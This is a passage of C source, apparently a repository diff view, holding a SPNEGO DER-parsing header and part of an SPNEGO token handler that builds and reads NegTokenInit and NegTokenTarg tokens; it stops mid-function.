// Author - Sanj Surati
/////////////////////////////////////////////////////////////
//
// DERPARSE.H
//
// SPNEGO Token Handler Header File
//
// Contains the definitions required to properly parse the
// SPNEGO DER encoding.
//
/////////////////////////////////////////////////////////////
#ifndef __DERPARSE_H__
#define __DERPARSE_H__
// C++ Specific
#if defined(__cplusplus)
extern "C"
{
#endif
/* Identifier Types */
#define IDENTIFIER_MASK 0xC0 // Bits 7 and 8
#define IDENTIFIER_UNIVERSAL 0x00 // 00 = universal
#define IDENTIFIER_APPLICATION 0x40 // 01 = application
#define IDENTIFIER_CONTEXT_SPECIFIC 0x80 // 10 = context specific
#define IDENTIFIER_PRIVATE 0xC0 // 11 = Private
/* Encoding type */
#define FORM_MASK 0x20 /* Bit 6 */
#define PRIMITIVE 0x00 /* 0 = primitive */
#define CONSTRUCTED 0x20 /* 1 = constructed */
/* Universal tags */
#define TAG_MASK 0x1F /* Bits 5 - 1 */
#define BOOLEAN 0x01 /* 1: TRUE or FALSE */
#define INTEGER 0x02 /* 2: Arbitrary precision integer */
#define BITSTRING 0x03 /* 2: Sequence of bits */
#define OCTETSTRING 0x04 /* 4: Sequence of bytes */
#define NULLTAG 0x05 /* 5: NULL */
#define OID 0x06 /* 6: Object Identifier (numeric sequence) */
#define OBJDESCRIPTOR 0x07 /* 7: Object Descriptor (human readable) */
#define EXTERNAL 0x08 /* 8: External / Instance Of */
#define REAL 0x09 /* 9: Real (Mantissa * Base^Exponent) */
#define ENUMERATED 0x0A /* 10: Enumerated */
#define EMBEDDED_PDV 0x0B /* 11: Embedded Presentation Data Value */
#define SEQUENCE 0x10 /* 16: Constructed Sequence / Sequence Of */
#define SET 0x11 /* 17: Constructed Set / Set Of */
#define NUMERICSTR 0x12 /* 18: Numeric String (digits only) */
#define PRINTABLESTR 0x13 /* 19: Printable String */
#define T61STR 0x14 /* 20: T61 String (Teletex) */
#define VIDEOTEXSTR 0x15 /* 21: Videotex String */
#define IA5STR 0x16 /* 22: IA5 String */
#define UTCTIME 0x17 /* 23: UTC Time */
#define GENERALIZEDTIME 0x18 /* 24: Generalized Time */
#define GRAPHICSTR 0x19 /* 25: Graphic String */
#define VISIBLESTR 0x1A /* 26: Visible String (ISO 646) */
#define GENERALSTR 0x1B /* 27: General String */
#define UNIVERSALSTR 0x1C /* 28: Universal String */
#define BMPSTR 0x1E /* 30: Basic Multilingual Plane String */
/* Length encoding */
#define LEN_XTND 0x80 /* Indefinite or long form */
#define LEN_MASK 0x7f /* Bits 7 - 1 */
#define SEQ_ELM(n) (IDENTIFIER_CONTEXT_SPECIFIC | CONSTRUCTED | ((n)&TAG_MASK))
//
// SPNEGO Token Parsing Constants
//
// Fixed Length of NegTokenInit ReqFlags field
#define SPNEGO_NEGINIT_MAXLEN_REQFLAGS 2
// Difference in bits for ReqFlags token
#define SPNEGO_NEGINIT_REQFLAGS_BITDIFF 1
// Fixed Length of NegTokenTarg NegResult field
#define SPNEGO_NEGTARG_MAXLEN_NEGRESULT 1
// Application Specific Construct - Always at the start of a NegTokenInit
#define SPNEGO_NEGINIT_APP_CONSTRUCT ( IDENTIFIER_APPLICATION | CONSTRUCTED ) // 0x60
// Constructed Sequence token - after the actual token identifier token
#define SPNEGO_CONSTRUCTED_SEQUENCE ( SEQUENCE | CONSTRUCTED )
// MechList Type Identifier
#define SPNEGO_MECHLIST_TYPE ( SEQUENCE | CONSTRUCTED | OID )
//
// NegTokenInit - Token Identifier and Elements
//
// NegTokenInit - 0xa0
#define SPNEGO_NEGINIT_TOKEN_IDENTIFIER ( IDENTIFIER_CONTEXT_SPECIFIC | CONSTRUCTED | \
SPNEGO_TOKEN_INIT )
// Structure elements for NegTokenInit
#define SPNEGO_NEGINIT_MECHTYPES 0x0 // MechTypes is element 0
#define SPNEGO_NEGINIT_REQFLAGS 0x1 // ReqFlags is element 1
#define SPNEGO_NEGINIT_MECHTOKEN 0x2 // MechToken is element 2
#define SPNEGO_NEGINIT_MECHLISTMIC 0x3 // MechListMIC is element 3
// MechTypes element is 0xa0
#define SPNEGO_NEGINIT_ELEMENT_MECHTYPES SEQ_ELM(SPNEGO_NEGINIT_MECHTYPES)
// ReqFlags element is 0xa1
#define SPNEGO_NEGINIT_ELEMENT_REQFLAGS SEQ_ELM(SPNEGO_NEGINIT_REQFLAGS)
// MechToken element is 0xa2
#define SPNEGO_NEGINIT_ELEMENT_MECHTOKEN SEQ_ELM(SPNEGO_NEGINIT_MECHTOKEN)
// MechListMIC element is 0xa3
#define SPNEGO_NEGINIT_ELEMENT_MECHLISTMIC SEQ_ELM(SPNEGO_NEGINIT_MECHLISTMIC)
//
// NegTokenTarg - Token Identifier and Elements
//
// NegTokenTarg - 0xa1
#define SPNEGO_NEGTARG_TOKEN_IDENTIFIER ( IDENTIFIER_CONTEXT_SPECIFIC | CONSTRUCTED | \
SPNEGO_TOKEN_TARG )
// Structure elements for NegTokenTarg
#define SPNEGO_NEGTARG_NEGRESULT 0x0 // NegResult is element 0
#define SPNEGO_NEGTARG_SUPPORTEDMECH 0x1 // SupportedMech is element 1
#define SPNEGO_NEGTARG_RESPONSETOKEN 0x2 // ResponseToken is element 2
#define SPNEGO_NEGTARG_MECHLISTMIC 0x3 // MechListMIC is element 3
// NegResult element is 0xa0
#define SPNEGO_NEGTARG_ELEMENT_NEGRESULT SEQ_ELM(SPNEGO_NEGTARG_NEGRESULT)
// SupportedMech element is 0xa1
#define SPNEGO_NEGTARG_ELEMENT_SUPPORTEDMECH SEQ_ELM(SPNEGO_NEGTARG_SUPPORTEDMECH)
// ResponseToken element is 0xa2
#define SPNEGO_NEGTARG_ELEMENT_RESPONSETOKEN SEQ_ELM(SPNEGO_NEGTARG_RESPONSETOKEN)
// MechListMIC element is 0xa3
#define SPNEGO_NEGTARG_ELEMENT_MECHLISTMIC SEQ_ELM(SPNEGO_NEGTARG_MECHLISTMIC)
//
// Defines a GSS Mechanism OID. We keep a single static array
// of these which we'll use for validation/searches/parsing.
//
typedef struct _mechOID
{
unsigned char* ucOid; // Byte representation of OID
int iLen; // Length of the OID, length and identifier
int iActualDataLen; // Length of the actual OID
SPNEGO_MECH_OID eMechanismOID; // Which OID is this?
} MECH_OID;
//
// ASN Der functions
//
static int ASNDerGetLength(unsigned char* pbLengthData, unsigned short nBoundaryLength, unsigned short* pnLength,
unsigned short* pnNumLengthBytes);
int ASNDerCheckToken(unsigned char* pbTokenData, unsigned char nToken,
unsigned short nCheckLength, unsigned short nBoundaryLength, unsigned short* pnLength,
unsigned short* pnTokenLength);
int ASNDerCheckOID(unsigned char* pbTokenData, SPNEGO_MECH_OID nMechOID, unsigned short nBoundaryLength,
unsigned short* pnTokenLength);
static unsigned short ASNDerCalcNumLengthBytes(unsigned short nLength);
unsigned short ASNDerCalcTokenLength(unsigned short nLength, unsigned short nDataLength);
unsigned short ASNDerCalcElementLength(unsigned short nDataLength, unsigned short* pnInternalLength);
unsigned short ASNDerCalcMechListLength(SPNEGO_MECH_OID mechoid, unsigned short* pnInternalLength);
static unsigned short ASNDerWriteLength(unsigned char* pbData, unsigned short nLength);
unsigned short ASNDerWriteToken(unsigned char* pbData, unsigned char ucType,
unsigned char* pbTokenValue, unsigned short nLength);
int ASNDerWriteOID(unsigned char* pbData, SPNEGO_MECH_OID eMechOID);
unsigned short ASNDerWriteMechList(unsigned char* pbData, SPNEGO_MECH_OID mechoid);
unsigned short ASNDerWriteElement(unsigned char* pbData, unsigned char ucElementSequence,
unsigned char ucType, unsigned char* pbTokenValue, unsigned short nLength);
// C++ Specific
#if defined(__cplusplus)
}
#endif
#endif

View File

@ -0,0 +1,791 @@
// Copyright (C) 2002 Microsoft Corporation
// All rights reserved.
//
// THIS CODE AND INFORMATION IS PROVIDED "AS IS"
// WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
// OR IMPLIED, INCLUDING BUT NOT LIMITED
// TO THE IMPLIED WARRANTIES OF MERCHANTIBILITY
// AND/OR FITNESS FOR A PARTICULAR PURPOSE.
//
// Date - 10/08/2002
// Author - Sanj Surati
/////////////////////////////////////////////////////////////
//
// SPNEGO.C
//
// SPNEGO Token Handler Source File
//
// Contains implementation of SPNEGO Token Handling API
// as defined in SPNEGO.H.
//
/////////////////////////////////////////////////////////////
/*#include <stdlib.h>
#include <stdio.h>
#include <memory.h>
#include "spnego.h"
#include "derparse.h"
#include "spnegoparse.h"*/
#include "..\pch.h"
//
// Defined in DERPARSE.C
//
extern MECH_OID g_stcMechOIDList[];
/**********************************************************************/
/** **/
/** **/
/** **/
/** **/
/** SPNEGO Token Handler API implementation **/
/** **/
/** **/
/** **/
/** **/
/**********************************************************************/
/////////////////////////////////////////////////////////////////////////////
//
// Function:
// spnegoInitFromBinary
//
// Parameters:
// [in] pbTokenData - Binary Token Data
// [in] ulLength - Length of binary Token Data
// [out] phSpnegoToken - SPNEGO_TOKEN_HANDLE pointer
//
// Returns:
// int Success - SPNEGO_E_SUCCESS
// Failure - SPNEGO API Error code
//
// Comments :
// Initializes a SPNEGO_TOKEN_HANDLE from the supplied
// binary data. Data is copied locally. Returned data structure
// must be freed by calling spnegoFreeData().
//
////////////////////////////////////////////////////////////////////////////
int spnegoInitFromBinary(unsigned char* pbTokenData, unsigned short ulLength, SPNEGO_TOKEN_HANDLE* phSpnegoToken)
{
int nReturn = SPNEGO_E_INVALID_PARAMETER;
SPNEGO_TOKEN** ppSpnegoToken = (SPNEGO_TOKEN**)phSpnegoToken;
// Pass off to a handler function that allows tighter control over how the token structure
// is handled. In this case, we want the token data copied and we want the associated buffer
// freed.
nReturn = InitTokenFromBinary(SPNEGO_TOKEN_INTERNAL_COPYDATA,
SPNEGO_TOKEN_INTERNAL_FLAGS_FREEDATA, pbTokenData,
ulLength, ppSpnegoToken);
return nReturn;
}
/////////////////////////////////////////////////////////////////////////////
//
// Function:
// spnegoCreateNegTokenInit
//
// Parameters:
// [in] MechType - MechType to specify in MechTypeList element
// [in] ucContextFlags - Context Flags element value
// [in] pbMechToken - Pointer to binary MechToken Data
// [in] ulMechTokenLen - Length of MechToken Data
// [in] pbMechListMIC - Pointer to binary MechListMIC Data
// [in] ulMechListMICLen - Length of MechListMIC Data
// [out] phSpnegoToken - SPNEGO_TOKEN_HANDLE pointer
//
// Returns:
// int Success - SPNEGO_E_SUCCESS
// Failure - SPNEGO API Error code
//
// Comments :
// Initializes a SPNEGO_TOKEN_HANDLE for a NegTokenInit type
// from the supplied parameters. ucContextFlags may be 0 or must be
// a valid flag combination. MechToken data can be NULL - if not, it
// must correspond to the MechType. MechListMIC can also be NULL.
// Returned data structure must be freed by calling spnegoFreeData().
//
////////////////////////////////////////////////////////////////////////////
/*static int spnegoCreateNegTokenInit(SPNEGO_MECH_OID MechType,
unsigned char ucContextFlags, unsigned char* pbMechToken,
unsigned short ulMechTokenLen, unsigned char* pbMechListMIC,
unsigned short ulMechListMICLen, SPNEGO_TOKEN_HANDLE* phSpnegoToken)
{
int nReturn = SPNEGO_E_INVALID_PARAMETER;
unsigned short nTokenLength = 0L;
unsigned short nInternalTokenLength = 0L;
unsigned char* pbTokenData = NULL;
SPNEGO_TOKEN** ppSpnegoToken = (SPNEGO_TOKEN * *)phSpnegoToken;
if (NULL != ppSpnegoToken &&
IsValidMechOid(MechType) &&
IsValidContextFlags(ucContextFlags))
{
// Get the actual token size
if ((nReturn = CalculateMinSpnegoInitTokenSize(ulMechTokenLen, ulMechListMICLen,
MechType, (ucContextFlags != 0L),
&nTokenLength, &nInternalTokenLength))
== SPNEGO_E_SUCCESS)
{
// Allocate a buffer to hold the data.
pbTokenData = calloc(1, nTokenLength);
if (NULL != pbTokenData)
{
// Now write the token
if ((nReturn = CreateSpnegoInitToken(MechType,
ucContextFlags, pbMechToken,
ulMechTokenLen, pbMechListMIC,
ulMechListMICLen, pbTokenData,
nTokenLength, nInternalTokenLength))
== SPNEGO_E_SUCCESS)
{
// This will copy our allocated pointer, and ensure that the sructure cleans
// up the data later
nReturn = InitTokenFromBinary(SPNEGO_TOKEN_INTERNAL_COPYPTR,
SPNEGO_TOKEN_INTERNAL_FLAGS_FREEDATA,
pbTokenData, nTokenLength, ppSpnegoToken);
}
// Cleanup on failure
if (SPNEGO_E_SUCCESS != nReturn)
{
free(pbTokenData);
}
} // IF alloc succeeded
else
{
nReturn = SPNEGO_E_OUT_OF_MEMORY;
}
} // If calculated token size
} // IF Valid Parameters
return nReturn;
}*/
/////////////////////////////////////////////////////////////////////////////
//
// Function:
// spnegoCreateNegTokenTarg
//
// Parameters:
// [in] MechType - MechType to specify in supported MechType element
// [in] spnegoNegResult - NegResult value
// [in] pbMechToken - Pointer to response MechToken Data
// [in] ulMechTokenLen - Length of MechToken Data
// [in] pbMechListMIC - Pointer to binary MechListMIC Data
// [in] ulMechListMICLen - Length of MechListMIC Data
// [out] phSpnegoToken - SPNEGO_TOKEN_HANDLE pointer
//
// Returns:
// int Success - SPNEGO_E_SUCCESS
// Failure - SPNEGO API Error code
//
// Comments :
// Initializes a SPNEGO_TOKEN_HANDLE for a NegTokenTarg type
// from the supplied parameters. MechToken data can be NULL - if not,
// it must correspond to the MechType. MechListMIC can also be NULL.
// Returned data structure must be freed by calling spnegoFreeData().
//
////////////////////////////////////////////////////////////////////////////
int spnegoCreateNegTokenTarg(SPNEGO_MECH_OID MechType,
SPNEGO_NEGRESULT spnegoNegResult, unsigned char* pbMechToken,
unsigned short ulMechTokenLen, unsigned char* pbMechListMIC,
unsigned short ulMechListMICLen, SPNEGO_TOKEN_HANDLE* phSpnegoToken)
{
int nReturn = SPNEGO_E_INVALID_PARAMETER;
unsigned short nTokenLength = 0L;
unsigned short nInternalTokenLength = 0L;
unsigned char* pbTokenData = NULL;
SPNEGO_TOKEN** ppSpnegoToken = (SPNEGO_TOKEN**)phSpnegoToken;
//
// spnego_mech_oid_NotUsed and spnego_negresult_NotUsed
// are okay here, however a valid MechOid is required
// if spnego_negresult_success or spnego_negresult_incomplete
// is specified.
//
if (NULL != ppSpnegoToken &&
(IsValidMechOid(MechType) ||
spnego_mech_oid_NotUsed == MechType) &&
(IsValidNegResult(spnegoNegResult) ||
spnego_negresult_NotUsed == spnegoNegResult) &&
!(!IsValidMechOid(MechType) &&
(spnego_negresult_success == spnegoNegResult ||
spnego_negresult_incomplete == spnegoNegResult)))
{
// Get the actual token size
if ((nReturn = CalculateMinSpnegoTargTokenSize(MechType, spnegoNegResult, ulMechTokenLen, // CHange ici
ulMechListMICLen, &nTokenLength,
&nInternalTokenLength))
== SPNEGO_E_SUCCESS)
{
// Allocate a buffer to hold the data.
pbTokenData = calloc(1, nTokenLength);
if (NULL != pbTokenData)
{
// Now write the token
if ((nReturn = CreateSpnegoTargToken(MechType,
spnegoNegResult, pbMechToken,
ulMechTokenLen, pbMechListMIC,
ulMechListMICLen, pbTokenData,
nTokenLength, nInternalTokenLength))
== SPNEGO_E_SUCCESS)
{
// This will copy our allocated pointer, and ensure that the sructure cleans
// up the data later
nReturn = InitTokenFromBinary(SPNEGO_TOKEN_INTERNAL_COPYPTR,
SPNEGO_TOKEN_INTERNAL_FLAGS_FREEDATA,
pbTokenData, nTokenLength, ppSpnegoToken);
}
// Cleanup on failure
if (SPNEGO_E_SUCCESS != nReturn)
{
free(pbTokenData);
}
} // IF alloc succeeded
else
{
nReturn = SPNEGO_E_OUT_OF_MEMORY;
}
} // If calculated token size
} // IF Valid Parameters
return nReturn;
}
/////////////////////////////////////////////////////////////////////////////
//
// Function:
// spnegoTokenGetBinary
//
// Parameters:
// [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
// [out] pbTokenData - Buffer to copy token into
// [in/out] pulDataLen - Length of pbTokenData buffer, filled out
// with actual size used upon function return.
//
// Returns:
// int Success - SPNEGO_E_SUCCESS
// Failure - SPNEGO API Error code
//
// Comments :
// Copies binary SPNEGO token data from hSpnegoToken into the user
// supplied buffer. If pbTokenData is NULL, or the value in pulDataLen
// is too small, the function will return SPNEGO_E_BUFFER_TOO_SMALL and
// fill out pulDataLen with the minimum required buffer size.
//
////////////////////////////////////////////////////////////////////////////
int spnegoTokenGetBinary(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pbTokenData,
unsigned short* pulDataLen)
{
int nReturn = SPNEGO_E_INVALID_PARAMETER;
SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken;
// Check parameters - pbTokenData is optional
if (IsValidSpnegoToken(pSpnegoToken) &&
NULL != pulDataLen)
{
// Check for Buffer too small conditions
if (NULL == pbTokenData ||
pSpnegoToken->ulBinaryDataLen > * pulDataLen)
{
*pulDataLen = pSpnegoToken->ulBinaryDataLen;
nReturn = SPNEGO_E_BUFFER_TOO_SMALL;
}
else
{
memcpy(pbTokenData, pSpnegoToken->pbBinaryData, pSpnegoToken->ulBinaryDataLen);
*pulDataLen = pSpnegoToken->ulBinaryDataLen;
nReturn = SPNEGO_E_SUCCESS;
}
} // IF parameters OK
return nReturn;
}
/////////////////////////////////////////////////////////////////////////////
//
// Function:
// spnegoFreeData
//
// Parameters:
// [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
//
// Returns:
// void
//
// Comments :
// Frees up resources consumed by hSpnegoToken. The supplied data
// pointer is invalidated by this function.
//
////////////////////////////////////////////////////////////////////////////
void spnegoFreeData(SPNEGO_TOKEN_HANDLE hSpnegoToken)
{
FreeSpnegoToken((SPNEGO_TOKEN*)hSpnegoToken);
return;
}
/////////////////////////////////////////////////////////////////////////////
//
// Function:
// spnegoGetTokenType
//
// Parameters:
// [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
// [out] piTokenType - Filled out with token type value.
//
// Returns:
// int Success - SPNEGO_E_SUCCESS
// Failure - SPNEGO API Error code
//
// Comments :
// The function will analyze hSpnegoToken and return the appropriate
// type in piTokenType.
//
////////////////////////////////////////////////////////////////////////////
/*static int spnegoGetTokenType(SPNEGO_TOKEN_HANDLE hSpnegoToken, int* piTokenType)
{
int nReturn = SPNEGO_E_INVALID_PARAMETER;
SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken;
// Check parameters
if (IsValidSpnegoToken(pSpnegoToken) &&
NULL != piTokenType &&
pSpnegoToken)
{
// Check that the type in the structure makes sense
if (SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType ||
SPNEGO_TOKEN_TARG == pSpnegoToken->ucTokenType)
{
*piTokenType = pSpnegoToken->ucTokenType;
nReturn = SPNEGO_E_SUCCESS;
}
} // IF parameters OK
return nReturn;
}*/
/////////////////////////////////////////////////////////////////////////////
//
// Function:
// spnegoIsMechTypeAvailable
//
// Parameters:
// [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
// [in] MechOID - MechOID to search MechTypeList for
// [out] piMechTypeIndex - Filled out with index in MechTypeList
// element if MechOID is found.
//
// Returns:
// int Success - SPNEGO_E_SUCCESS
// Failure - SPNEGO API Error code
//
// Comments :
// hSpnegoToken must reference a token of type NegTokenInit. The
// function will search the MechTypeList element for an OID corresponding
// to the specified MechOID. If one is found, the index (0 based) will
// be passed into the piMechTypeIndex parameter.
//
////////////////////////////////////////////////////////////////////////////
// Returns the Initial Mech Type in the MechList element in the NegInitToken.
/*static int spnegoIsMechTypeAvailable(SPNEGO_TOKEN_HANDLE hSpnegoToken, SPNEGO_MECH_OID MechOID, int* piMechTypeIndex)
{
int nReturn = SPNEGO_E_INVALID_PARAMETER;
SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken;
// Check parameters
if (IsValidSpnegoToken(pSpnegoToken) &&
NULL != piMechTypeIndex &&
IsValidMechOid(MechOID) &&
SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType)
{
// Check if MechList is available
if (pSpnegoToken->aElementArray[SPNEGO_INIT_MECHTYPES_ELEMENT].iElementPresent
== SPNEGO_TOKEN_ELEMENT_AVAILABLE)
{
// Locate the MechOID in the list element
nReturn = FindMechOIDInMechList(
&pSpnegoToken->aElementArray[SPNEGO_INIT_MECHTYPES_ELEMENT],
MechOID, piMechTypeIndex);
}
else
{
nReturn = SPNEGO_E_ELEMENT_UNAVAILABLE;
}
} // IF parameters OK
return nReturn;
}*/
/////////////////////////////////////////////////////////////////////////////
//
// Function:
// spnegoGetContextFlags
//
// Parameters:
// [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
// [out] pucContextFlags - Filled out with ContextFlags value.
//
// Returns:
// int Success - SPNEGO_E_SUCCESS
// Failure - SPNEGO API Error code
//
// Comments :
// hSpnegoToken must reference a token of type NegTokenInit. The
// function will copy data from the ContextFlags element into the
// location pucContextFlags points to. Note that the function will
// fail if the actual ContextFlags data appears invalid.
//
////////////////////////////////////////////////////////////////////////////
/*static int spnegoGetContextFlags(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pucContextFlags)
{
int nReturn = SPNEGO_E_INVALID_PARAMETER;
SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken;
// Check parameters
if (IsValidSpnegoToken(pSpnegoToken) &&
NULL != pucContextFlags &&
SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType)
{
// Check if ContextFlags is available
if (pSpnegoToken->aElementArray[SPNEGO_INIT_REQFLAGS_ELEMENT].iElementPresent
== SPNEGO_TOKEN_ELEMENT_AVAILABLE)
{
// The length should be two, the value should show a 1 bit difference in the difference byte, and
// the value must be valid
if (pSpnegoToken->aElementArray[SPNEGO_INIT_REQFLAGS_ELEMENT].nDatalength == SPNEGO_NEGINIT_MAXLEN_REQFLAGS &&
pSpnegoToken->aElementArray[SPNEGO_INIT_REQFLAGS_ELEMENT].pbData[0] == SPNEGO_NEGINIT_REQFLAGS_BITDIFF &&
IsValidContextFlags(pSpnegoToken->aElementArray[SPNEGO_INIT_REQFLAGS_ELEMENT].pbData[1]))
{
*pucContextFlags = pSpnegoToken->aElementArray[SPNEGO_INIT_REQFLAGS_ELEMENT].pbData[1];
nReturn = SPNEGO_E_SUCCESS;
}
else
{
nReturn = SPNEGO_E_INVALID_ELEMENT;
}
}
else
{
nReturn = SPNEGO_E_ELEMENT_UNAVAILABLE;
}
} // IF parameters OK
return nReturn;
}*/
/////////////////////////////////////////////////////////////////////////////
//
// Function:
// spnegoGetNegotiationResult
//
// Parameters:
// [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
// [out] pnegResult - Filled out with NegResult value.
//
// Returns:
// int Success - SPNEGO_E_SUCCESS
// Failure - SPNEGO API Error code
//
// Comments :
// hSpnegoToken must reference a token of type NegTokenTarg. The
// function will copy data from the NegResult element into the
// location pointed to by pnegResult. Note that the function will
// fail if the actual NegResult data appears invalid.
//
////////////////////////////////////////////////////////////////////////////
/*static int spnegoGetNegotiationResult(SPNEGO_TOKEN_HANDLE hSpnegoToken, SPNEGO_NEGRESULT* pnegResult)
{
int nReturn = SPNEGO_E_INVALID_PARAMETER;
SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken;
// Check parameters
if (IsValidSpnegoToken(pSpnegoToken) &&
NULL != pnegResult &&
SPNEGO_TOKEN_TARG == pSpnegoToken->ucTokenType)
{
// Check if NegResult is available
if (pSpnegoToken->aElementArray[SPNEGO_TARG_NEGRESULT_ELEMENT].iElementPresent
== SPNEGO_TOKEN_ELEMENT_AVAILABLE)
{
// Must be 1 byte long and a valid value
if (pSpnegoToken->aElementArray[SPNEGO_TARG_NEGRESULT_ELEMENT].nDatalength == SPNEGO_NEGTARG_MAXLEN_NEGRESULT &&
IsValidNegResult(*pSpnegoToken->aElementArray[SPNEGO_TARG_NEGRESULT_ELEMENT].pbData))
{
*pnegResult = *pSpnegoToken->aElementArray[SPNEGO_TARG_NEGRESULT_ELEMENT].pbData;
nReturn = SPNEGO_E_SUCCESS;
}
else
{
nReturn = SPNEGO_E_INVALID_ELEMENT;
}
}
else
{
nReturn = SPNEGO_E_ELEMENT_UNAVAILABLE;
}
} // IF parameters OK
return nReturn;
}*/
/////////////////////////////////////////////////////////////////////////////
//
// Function:
// spnegoGetSupportedMechType
//
// Parameters:
// [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
// [out] pMechOID - Filled out with Supported MechType value.
//
// Returns:
// int Success - SPNEGO_E_SUCCESS
// Failure - SPNEGO API Error code
//
// Comments :
// hSpnegoToken must reference a token of type NegTokenTarg. The
// function will check the Supported MechType element, and if it
// corresponds to a supported MechType ( spnego_mech_oid_Kerberos_V5_Legacy
// or spnego_mech_oid_Kerberos_V5 ), will set the location pointed
// to by pMechOID equal to the appropriate value.
//
////////////////////////////////////////////////////////////////////////////
/*static int spnegoGetSupportedMechType(SPNEGO_TOKEN_HANDLE hSpnegoToken, SPNEGO_MECH_OID* pMechOID)
{
int nReturn = SPNEGO_E_INVALID_PARAMETER;
int nCtr = 0L;
unsigned short nLength = 0L;
SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken;
// Check parameters
if (IsValidSpnegoToken(pSpnegoToken) &&
NULL != pMechOID &&
SPNEGO_TOKEN_TARG == pSpnegoToken->ucTokenType)
{
// Check if MechList is available
if (pSpnegoToken->aElementArray[SPNEGO_TARG_SUPPMECH_ELEMENT].iElementPresent
== SPNEGO_TOKEN_ELEMENT_AVAILABLE)
{
for (nCtr = 0;
nReturn != SPNEGO_E_SUCCESS &&
g_stcMechOIDList[nCtr].eMechanismOID != spnego_mech_oid_NotUsed;
nCtr++)
{
if ((nReturn = ASNDerCheckOID(
pSpnegoToken->aElementArray[SPNEGO_TARG_SUPPMECH_ELEMENT].pbData,
nCtr,
pSpnegoToken->aElementArray[SPNEGO_TARG_SUPPMECH_ELEMENT].nDatalength,
&nLength)) == SPNEGO_E_SUCCESS)
{
*pMechOID = nCtr;
}
} // For enum MechOIDs
}
else
{
nReturn = SPNEGO_E_ELEMENT_UNAVAILABLE;
}
} // IF parameters OK
return nReturn;
}*/
/////////////////////////////////////////////////////////////////////////////
//
// Function:
// spnegoTokenGetMechToken
//
// Parameters:
// [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
// [out] pbTokenData - Buffer to copy MechToken into
// [in/out] pulDataLen - Length of pbTokenData buffer, filled out
// with actual size used upon function return.
//
// Returns:
// int Success - SPNEGO_E_SUCCESS
// Failure - SPNEGO API Error code
//
// Comments :
// hSpnegoToken can point to either NegTokenInit or a NegTokenTarg token.
// The function will copy the MechToken (the initial MechToken if
// NegTokenInit, the response MechToken if NegTokenTarg) from the
// underlying token into the buffer pointed to by pbTokenData. If
// pbTokenData is NULL, or the value in pulDataLen is too small, the
// function will return SPNEGO_E_BUFFER_TOO_SMALL and fill out pulDataLen
// with the minimum required buffer size. The token can then be passed
// to a GSS-API function for processing.
//
////////////////////////////////////////////////////////////////////////////
int spnegoGetMechToken(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pbTokenData, unsigned short* pulDataLen)
{
int nReturn = SPNEGO_E_INVALID_PARAMETER;
SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken;
SPNEGO_ELEMENT* pSpnegoElement = NULL;
// Check parameters
if (IsValidSpnegoToken(pSpnegoToken) &&
NULL != pulDataLen)
{
// Point at the proper Element
if (SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType)
{
pSpnegoElement = &pSpnegoToken->aElementArray[SPNEGO_INIT_MECHTOKEN_ELEMENT];
}
else
{
pSpnegoElement = &pSpnegoToken->aElementArray[SPNEGO_TARG_RESPTOKEN_ELEMENT];
}
// Check if MechType is available
if (SPNEGO_TOKEN_ELEMENT_AVAILABLE == pSpnegoElement->iElementPresent)
{
// Check for Buffer too small conditions
if (NULL == pbTokenData ||
pSpnegoElement->nDatalength > * pulDataLen)
{
*pulDataLen = pSpnegoElement->nDatalength;
nReturn = SPNEGO_E_BUFFER_TOO_SMALL;
}
else
{
// Copy Memory
memcpy(pbTokenData, pSpnegoElement->pbData, pSpnegoElement->nDatalength);
*pulDataLen = pSpnegoElement->nDatalength;
nReturn = SPNEGO_E_SUCCESS;
}
}
else
{
nReturn = SPNEGO_E_ELEMENT_UNAVAILABLE;
}
} // IF parameters OK
return nReturn;
}
/////////////////////////////////////////////////////////////////////////////
//
// Function:
// spnegoTokenGetMechListMIC
//
// Parameters:
// [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
// [out] pbTokenData - Buffer to copy MechListMIC data into
// [in/out] pulDataLen - Length of pbTokenData buffer, filled out
// with actual size used upon function return.
//
// Returns:
// int Success - SPNEGO_E_SUCCESS
// Failure - SPNEGO API Error code
//
// Comments :
// hSpnegoToken can point to either NegTokenInit or a NegTokenTarg token.
// The function will copy the MechListMIC data from the underlying token
// into the buffer pointed to by pbTokenData. If pbTokenData is NULL,
// or the value in pulDataLen is too small, the function will return
// SPNEGO_E_BUFFER_TOO_SMALL and fill out pulDataLen with the minimum
// required buffer size.
//
////////////////////////////////////////////////////////////////////////////
/*static int spnegoGetMechListMIC(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pbMICData, unsigned short* pulDataLen)
{
int nReturn = SPNEGO_E_INVALID_PARAMETER;
SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken;
SPNEGO_ELEMENT* pSpnegoElement = NULL;
// Check parameters
if (IsValidSpnegoToken(pSpnegoToken) &&
NULL != pulDataLen)
{
// Point at the proper Element
if (SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType)
{
pSpnegoElement = &pSpnegoToken->aElementArray[SPNEGO_INIT_MECHLISTMIC_ELEMENT];
}
else
{
